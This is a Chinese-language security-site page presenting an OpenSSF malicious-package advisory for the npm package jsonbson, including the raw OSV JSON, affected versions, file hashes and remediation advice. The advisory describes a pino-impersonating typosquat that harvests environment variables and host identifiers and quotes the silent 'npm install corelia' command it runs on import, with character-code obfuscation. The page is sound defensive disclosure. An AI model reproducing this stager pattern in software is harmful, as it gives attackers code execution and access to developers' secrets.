目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

jsonbson

MAL-2026-4591
2026-07-09 09:19:06
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in jsonbson (npm)

凭据/密钥窃取安装阶段执行文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
2
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmjsonbson*
npmjsonbson2.1.1
npmjsonbson2.1.2
npmjsonbson2.1.3
npmjsonbson2.1.4
npmjsonbson2.1.6
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-07-09T09:19:06Z","published":"2026-05-20T00:44:24Z","schema_version":"1.7.4","id":"MAL-2026-4591","aliases":["GHSA-44rg-m26f-r36f"],"summary":"Malicious code in jsonbson (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (8068ec3c82afd849515c6434f74da03c799500583129d4c26f1a168a5ac5ba1b)\nOn require, lib/writer.js (loaded via main=pino.js) collects a full snapshot of process.env, OS platform, hostname, username, and external MAC addresses, then runs `execSync('npm install corelia --no-warnings --no-save --no-progress --loglevel silent')` and immediately `require('../../corelia/pino.js')`. The `corelia` package is not declared in dependencies and is pulled unpinned from npm at import time, executing arbitrary third-party code with the harvested fingerprint available in-process. The package masquerades as the pino logger (homepage https://getpino.io, main file pino.js, README titled 'log-flare (Pino)', pino-branded image assets) despite being published as `jsonbson` — a typosquat/brand-impersonation lure. lib/writer.js further uses a `String.fromCharCode` per-character builder to assemble the only human-readable error string, an obfuscation pattern with no functional purpose other than evading string scans. The combination — branding deception + import-time silent install of an unpinned external package + bulk environment scraping + character-code obfuscation — is an unambiguous stager that grants the publisher arbitrary code execution and access to all environment secrets on every machine that requires this module.\n\n## Source: ghsa-malware (7379ad9f4ecbca60d3f95d80445ff8e61a7ce5fd461912e50c8c2b990092b22a)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"ecosystem":"npm","name":"jsonbson"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["2.1.1","2.1.4","2.1.2","2.1.3","2.1.6"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"lib/writer.js","sha256":"a78ecbed01ee0e7d7adc31fa3e2b27ffd0f9322649335e9696022cd75210e5f2","tlsh":"c631ace78345a178f3b06ba10e5e50d0b2c2e2252141bd9c7efc84c667a74e04e94fea"},{"path":"package.json","sha256":"0e9a437daea858108a676f5fc1a2872578ed93145dff23415eeb1a610c3ee1c5","tlsh":"39018925ce6c9e6309dc2592583c0187a6209d574c08fc1c73c7631c1f9d17f26ba67c"}],"package_integrity":[{"filename":"jsonbson-2.1.1.tgz","hashes":{"sha1":"8ab6092f78939bd2e0b7c772f434cbe7b7e3a532","sha512_sri":"sha512-xfJhQvxpi1C26Uf9nP3ttpVlCdKN4zaYXecorMNRKn+UgAYDr1zU2GczgKXWFB+A2eNJGEH5n1+bOTOyD2cykw=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/jsonbson/v/2.1.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/jsonbson/v/2.1.4"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/jsonbson/v/2.1.2"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-44rg-m26f-r36f"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["actran@amazon.com"]},{"name":"ReversingLabs","type":"FINDER","contact":["https://www.reversinglabs.com"]}],"database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","sha256":"2535c222a99d41c8a2dc3fa9ee5782ff943fbe42e9f29fa157490806d2c4beb5","import_time":"2026-05-26T05:50:25.619357571Z","id":"IN-MAL-2026-003324","modified_time":"2026-05-20T00:44:24Z","versions":["2.1.1"]},{"source":"amazon-inspector","sha256":"43016a81e7ae24a3a218cdd8fc245a15bd83bc5556d044c3d5a62ee8844b56b9","import_time":"2026-05-26T05:50:26.908629136Z","id":"IN-MAL-2026-003336","modified_time":"2026-05-20T01:03:44Z","versions":["2.1.4"]},{"source":"amazon-inspector","sha256":"8068ec3c82afd849515c6434f74da03c799500583129d4c26f1a168a5ac5ba1b","import_time":"2026-05-26T05:50:27.892544614Z","id":"IN-MAL-2026-003345","modified_time":"2026-05-20T01:13:26Z","versions":["2.1.2"]},{"source":"ghsa-malware","sha256":"7379ad9f4ecbca60d3f95d80445ff8e61a7ce5fd461912e50c8c2b990092b22a","import_time":"2026-05-26T13:21:46.721804845Z","id":"GHSA-44rg-m26f-r36f","modified_time":"2026-05-26T11:59:22Z","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"reversing-labs","sha256":"e73b16d521a28dda052533d6a2250612a85bcb8fa7b0b21ccf722c27fef87b89","import_time":"2026-07-09T09:16:35.486527887Z","id":"RLMA-2026-05129","modified_time":"2026-07-07T12:56:22Z","versions":["2.1.1","2.1.2","2.1.3","2.1.6"]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0